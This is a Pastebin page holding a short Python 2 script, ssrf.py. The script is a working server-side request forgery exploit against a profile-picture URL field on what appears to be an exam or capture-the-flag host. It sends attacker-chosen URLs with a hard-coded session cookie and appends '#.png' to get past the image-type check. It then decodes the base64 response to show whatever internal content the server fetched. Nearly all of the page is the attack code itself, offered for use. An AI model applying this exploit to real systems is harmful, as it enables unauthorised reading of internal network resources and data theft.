Guest User

ssrf.py

a guest
Jun 9th, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.51 KB | None | 0 0
  1. #!/usr/bin/python2.7
  2. # dont judge me lol
  3.  
  4. import requests, re, base64, pydoc
  5.  
  6. url = "https://jp-mysql.gw34908723to.ext.exam.ns.agency/profile"
  7. s = requests.Session()
  8. s.cookies['session'] = "eyJ1c2VyIjoie3s0KjR9fSJ9.Df0y4w.d0xNDeC-CGgzC8xgtM71JanWNnY"
  9.  
  10. while (1):
  11.     print "========================================================================================"
  12.     i = raw_input("Next request: ")
  13.     print "Using: " + str(i) + " (Automatically adding the #.png at the end)"
  14.  
  15.     d = {"profile_picture_url":str(i)+"#.png"}
  16.     r = s.post(url, data=d)
  17.  
  18.     res = r.text
  19.     if("Profile updated" not in res):
  20.         if("recognised image filetype" in res): print ">> Not a recognised image filetype"
  21.         elif("does not resolve" in res): print ">> Does not resolve"
  22.         elif("Failed to parse" in res): print ">> Failed to parse" 
  23.         elif("schema" in res): print ">> Failed to process the schema"
  24.         elif("No connection adapters" in res): print ">> No connection adapters found"
  25.         elif("Connection refused" in res): print ">> Connection refused"
  26.         else:
  27.               print res
  28.               print ">> Input failed to upload properly, try again."
  29.         continue
  30.  
  31.     #if the upload worked  
  32.     print "*** Success ***"
  33.     print "=> Extracting base64 ..."
  34.    
  35.     based64 = re.search("data:image/jpeg;base64,([^\"]*)",res)
  36.     try:
  37.         based64 =  based64.group(1)
  38.     except Exception as e:
  39.         print str(e)
  40.         continue
  41.     print "=> Decoding base64 ..."
  42.     decode = base64.b64decode(based64)
  43.     print "=> Showing result ..."
  44.  
  45.     #open pager for viewing
  46.     pydoc.pager(decode)
Advertisement
Add Comment
Please, Sign In to add comment